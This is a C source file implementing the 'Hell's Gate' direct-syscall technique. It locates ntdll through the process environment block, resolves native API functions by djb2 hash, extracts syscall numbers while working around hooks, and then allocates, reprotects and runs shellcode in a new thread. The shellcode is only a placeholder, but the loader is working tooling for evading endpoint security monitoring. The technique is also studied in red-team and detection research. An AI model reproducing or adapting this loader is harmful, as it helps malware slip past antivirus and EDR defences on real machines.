#pragma once #include #include "structs.h" /*-------------------------------------------------------------------- VX Tables --------------------------------------------------------------------*/ typedef struct _VX_TABLE_ENTRY { PVOID pAddress; DWORD64 dwHash; WORD wSystemCall; } VX_TABLE_ENTRY, * PVX_TABLE_ENTRY; typedef struct _VX_TABLE { VX_TABLE_ENTRY NtAllocateVirtualMemory; VX_TABLE_ENTRY NtProtectVirtualMemory; VX_TABLE_ENTRY NtCreateThreadEx; VX_TABLE_ENTRY NtWaitForSingleObject; } VX_TABLE, * PVX_TABLE; /*-------------------------------------------------------------------- Function prototypes. --------------------------------------------------------------------*/ PTEB RtlGetThreadEnvironmentBlock(); BOOL GetImageExportDirectory( _In_ PVOID pModuleBase, _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory ); BOOL GetVxTableEntry( _In_ PVOID pModuleBase, _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, _In_ PVX_TABLE_ENTRY pVxTableEntry ); BOOL Payload( _In_ PVX_TABLE pVxTable ); PVOID VxMoveMemory( _Inout_ PVOID dest, _In_ const PVOID src, _In_ SIZE_T len ); /*-------------------------------------------------------------------- External functions' prototype. --------------------------------------------------------------------*/ extern VOID HellsGate(WORD wSystemCall); extern HellDescent(); INT wmain() { PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) return 0x1; // Get NTDLL module PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); // Get the EAT of NTDLL PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL; if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL) return 0x01; VX_TABLE Table = { 0 }; Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b; if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) return 0x1; Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f; if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx)) return 0x1; Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37; if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory)) return 0x1; Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb; if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject)) return 0x1; Payload(&Table); return 0x00; } PTEB RtlGetThreadEnvironmentBlock() { #if _WIN64 return (PTEB)__readgsqword(0x30); #else return (PTEB)__readfsdword(0x16); #endif } DWORD64 djb2(PBYTE str) { DWORD64 dwHash = 0x7734773477347734; INT c; while (c = *str++) dwHash = ((dwHash << 0x5) + dwHash) + c; return dwHash; } BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) { // Get DOS header PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase; if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return FALSE; } // Get NT headers PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew); if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) { return FALSE; } // Get the EAT *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); return TRUE; } BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) { PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions); PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames); PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals); for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) { PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]); PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; if (djb2(pczFunctionName) == pVxTableEntry->dwHash) { pVxTableEntry->pAddress = pFunctionAddress; // Quick and dirty fix in case the function has been hooked WORD cw = 0; while (TRUE) { // check if syscall, in this case we are too far if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05) return FALSE; // check if ret, in this case we are also probaly too far if (*((PBYTE)pFunctionAddress + cw) == 0xc3) return FALSE; // First opcodes should be : // MOV R10, RCX // MOV RCX, if (*((PBYTE)pFunctionAddress + cw) == 0x4c && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) { BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); pVxTableEntry->wSystemCall = (high << 8) | low; break; } cw++; }; } } return TRUE; } BOOL Payload(PVX_TABLE pVxTable) { NTSTATUS status = 0x00000000; char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3"; // Allocate memory for the shellcode PVOID lpAddress = NULL; SIZE_T sDataSize = sizeof(shellcode); HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall); status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); // Write Memory VxMoveMemory(lpAddress, shellcode, sizeof(shellcode)); // Change page permissions ULONG ulOldProtect = 0; HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall); status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); // Create thread HANDLE hHostThread = INVALID_HANDLE_VALUE; HellsGate(pVxTable->NtCreateThreadEx.wSystemCall); status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL); // Wait for 1 seconds LARGE_INTEGER Timeout; Timeout.QuadPart = -10000000; HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall); status = HellDescent(hHostThread, FALSE, &Timeout); return TRUE; } PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) { char* d = dest; const char* s = src; if (d < s) while (len--) *d++ = *s++; else { char* lasts = s + (len - 1); char* lastd = d + (len - 1); while (len--) *lastd-- = *lasts--; } return dest; }